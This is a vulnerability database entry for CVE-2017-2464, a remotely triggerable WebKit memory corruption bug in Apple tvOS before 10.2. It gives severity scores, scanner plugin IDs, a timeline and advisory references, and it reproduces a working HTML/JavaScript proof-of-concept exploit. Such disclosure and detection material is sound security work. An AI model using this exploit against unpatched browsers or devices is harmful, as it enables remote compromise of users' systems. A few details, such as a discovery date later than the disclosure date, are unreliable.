Apple tvOS up to 10.1 WebKit memory corruption

CVSS Meta Temp Score
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CTI Interest Score
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7.2$0-$5k0.00

Summaryinfo

A vulnerability was found in Apple tvOS up to 10.1. It has been classified as critical. This affects an unknown function of the component WebKit. This manipulation causes memory corruption. This vulnerability is tracked as CVE-2017-2464. The attack is possible to be carried out remotely. Moreover, an exploit is present. Upgrading the affected component is recommended.

Detailsinfo

A vulnerability has been found in Apple tvOS up to 10.1 (Digital Media Player) and classified as critical. Affected by this vulnerability is an unknown code block of the component WebKit. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability.

The bug was discovered 03/28/2017. The weakness was disclosed 03/27/2017 by Natalie Silvanovich (lokihardt) with Google Project Zero as HT207601 as confirmed advisory (Website). It is possible to read the advisory at support.apple.com. This vulnerability is known as CVE-2017-2464 since 12/01/2016. The attack can be launched remotely. The exploitation doesn't need any form of authentication. It demands that the victim is doing some kind of user interaction. Technical details are unknown but a public exploit is available. The advisory points out:

Multiple memory corruption issues were addressed through improved memory handling.

A public exploit has been developed in HTML/Javascript and been published 2 months after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as proof-of-concept. The vulnerability scanner Nessus provides a plugin with the ID 99264 (Apple TV < 10.2 Multiple Vulnerabilities), which helps to determine the existence of the flaw in a target environment. It is assigned to the family Misc. and running in the context r. The commercial vulnerability scanner Qualys is able to test this issue with plugin 370349 (Apple Safari 10.1 Not Installed (APPLE-SA-2017-03-27-2)). The code used by the exploit is:

<html>
<body>
<script>
 
var a = [];
a.length = 0xffffff00;
 
var b = a.splice(0, 0x100000); // Undecided array
 
var args = [];
args.length = 4094;
args.fill(b);
 
var q = [];
q.length = 0x1000;
q.fill(7);
 
var c = a.splice(0, 0xfffef); //Shorter undecided array
 
args[4094] = c;
args[4095] = q;
 
 
b.concat.apply(b, args);
 
</script>
</body>
</html>

Upgrading to version 10.2 eliminates this vulnerability. A possible mitigation has been published immediately after the disclosure of the vulnerability.

The vulnerability is also documented in the databases at Exploit-DB (41931), Tenable (99264) and SecurityFocus (BID 97130†). The entries VDB-96539, VDB-98600, VDB-98595 and VDB-98597 are pretty similar. Be aware that VulDB is the high quality source for vulnerability data.

Productinfo

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CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 7.6
VulDB Meta Temp Score: 7.2

VulDB Base Score: 6.3
VulDB Temp Score: 5.7
VulDB Vector: 🔍
VulDB Reliability: 🔍

NVD Base Score: 8.8
NVD Vector: 🔍

CVSSv2info

AVACAuCIA
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VectorComplexityAuthenticationConfidentialityIntegrityAvailability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

NVD Base Score: 🔍

Exploitinginfo

Class: Memory corruption
CWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Proof-of-Concept
Programming Language: 🔍
Download: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Price Prediction: 🔍
Current Price Estimation: 🔍

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Nessus ID: 99264
Nessus Name: Apple TV < 10.2 Multiple Vulnerabilities
Nessus File: 🔍
Nessus Risk: 🔍
Nessus Family: 🔍
Nessus Context: 🔍

OpenVAS ID: 802925
OpenVAS Name: Apple Safari Multiple Vulnerabilities-HT207600
OpenVAS File: 🔍
OpenVAS Family: 🔍

Qualys ID: 🔍
Qualys Name: 🔍

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: Upgrade
Status: 🔍

Reaction Time: 🔍
0-Day Time: 🔍
Exposure Time: 🔍
Exploit Delay Time: 🔍

Upgrade: tvOS 10.2

Timelineinfo

12/01/2016 🔍
03/27/2017 +116 days 🔍
03/27/2017 +0 days 🔍
03/27/2017 +0 days 🔍
03/28/2017 +1 days 🔍
03/28/2017 +0 days 🔍
04/01/2017 +4 days 🔍
04/10/2017 +9 days 🔍
04/25/2017 +15 days 🔍
04/25/2017 +0 days 🔍
02/16/2025 +2854 days 🔍

Sourcesinfo

Vendor: apple.com

Advisory: HT207601
Researcher: Natalie Silvanovich (lokihardt)
Organization: Google Project Zero
Status: Confirmed
Confirmation: 🔍

CVE: CVE-2017-2464 (🔍)
GCVE (CVE): GCVE-0-2017-2464
GCVE (VulDB): GCVE-100-98887
SecurityFocus: 97130 - WebKit Multiple Security Vulnerabilities
OSVDB: - CVE-2017-2464 - Apple - Multiple Products - Memory Corruption Issue
SecurityTracker: 1038137

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 03/28/2017 12:25
Updated: 02/16/2025 02:27
Changes: 03/28/2017 12:25 (88), 09/22/2020 17:28 (7), 11/22/2022 08:26 (5), 02/16/2025 02:27 (14)
Complete: 🔍
Cache ID: 216:A82:103

Be aware that VulDB is the high quality source for vulnerability data.

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